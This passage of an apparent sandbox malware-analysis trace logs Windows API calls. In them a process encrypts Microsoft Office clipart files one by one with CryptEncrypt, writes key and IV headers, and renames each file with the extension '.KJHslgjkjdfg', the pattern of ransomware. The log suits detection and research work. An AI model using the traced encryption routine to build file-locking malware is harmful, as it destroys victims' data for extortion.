lpNumberOfBytesWritten=0x29df270*=0x6c00, lpOverlapped=0x0) returned 1 [0205.378] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.378] SetEndOfFile (hFile=0x130) returned 1 [0205.382] GetProcessHeap () returned 0x990000 [0205.382] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.382] GetProcessHeap () returned 0x990000 [0205.382] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.kjhslgjkjdfg")) returned 1 [0205.384] CloseHandle (hObject=0x130) returned 1 [0205.384] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca92500, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcca92500, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01358_.WMF", cAlternateFileName="")) returned 1 [0205.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.386] GetProcessHeap () returned 0x990000 [0205.386] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.386] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.386] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0205.389] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.389] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.389] GetProcessHeap () returned 0x990000 [0205.389] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.389] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.389] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.389] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.389] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.389] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.389] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.389] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.389] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.390] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.390] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd6e, lpOverlapped=0x0) returned 1 [0205.390] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd70, dwBufLen=0xd70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd70) returned 1 [0205.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.390] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd70, lpOverlapped=0x0) returned 1 [0205.390] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.390] SetEndOfFile (hFile=0x130) returned 1 [0205.393] GetProcessHeap () returned 0x990000 [0205.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.393] GetProcessHeap () returned 0x990000 [0205.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.kjhslgjkjdfg")) returned 1 [0205.395] CloseHandle (hObject=0x130) returned 1 [0205.395] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b34400, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6b34400, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01361_.WMF", cAlternateFileName="")) returned 1 [0205.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.396] GetProcessHeap () returned 0x990000 [0205.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.396] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.396] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.415] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.415] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.415] GetProcessHeap () returned 0x990000 [0205.415] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.415] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.415] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.415] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.416] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.416] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.416] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.416] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.416] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.416] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.416] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b74, lpOverlapped=0x0) returned 1 [0205.417] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b80) returned 1 [0205.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.417] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b80, lpOverlapped=0x0) returned 1 [0205.418] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.418] SetEndOfFile (hFile=0x130) returned 1 [0205.421] GetProcessHeap () returned 0x990000 [0205.421] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.421] GetProcessHeap () returned 0x990000 [0205.421] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.kjhslgjkjdfg")) returned 1 [0205.423] CloseHandle (hObject=0x130) returned 1 [0205.423] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b0900, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe5b0900, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x40412, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01368_.WMF", cAlternateFileName="")) returned 1 [0205.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.424] GetProcessHeap () returned 0x990000 [0205.424] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.424] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.424] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0205.427] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.427] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.428] GetProcessHeap () returned 0x990000 [0205.428] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.428] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.428] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.428] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.428] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.428] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.428] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.428] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.428] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.428] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.429] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40412, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x40412, lpOverlapped=0x0) returned 1 [0205.435] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x40420, dwBufLen=0x40420 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x40420) returned 1 [0205.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.438] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40420, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x40420, lpOverlapped=0x0) returned 1 [0205.439] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x404f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.439] SetEndOfFile (hFile=0x130) returned 1 [0205.440] GetProcessHeap () returned 0x990000 [0205.440] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.441] GetProcessHeap () returned 0x990000 [0205.441] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.kjhslgjkjdfg")) returned 1 [0205.443] CloseHandle (hObject=0x130) returned 1 [0205.443] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8653c600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8653c600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x2b16e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01421_.WMF", cAlternateFileName="")) returned 1 [0205.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.445] GetProcessHeap () returned 0x990000 [0205.445] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.445] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.445] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0205.447] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.447] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.447] GetProcessHeap () returned 0x990000 [0205.447] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.447] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.447] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.447] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.447] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.448] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.448] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.448] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.448] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.448] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.448] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2b16e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2b16e, lpOverlapped=0x0) returned 1 [0205.451] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b170, dwBufLen=0x2b170 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b170) returned 1 [0205.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.453] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b170, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b170, lpOverlapped=0x0) returned 1 [0205.454] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.454] SetEndOfFile (hFile=0x130) returned 1 [0205.458] GetProcessHeap () returned 0x990000 [0205.458] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.458] GetProcessHeap () returned 0x990000 [0205.458] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.kjhslgjkjdfg")) returned 1 [0205.460] CloseHandle (hObject=0x130) returned 1 [0205.460] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b435600, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b435600, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4e82, dwReserved0=0x0, 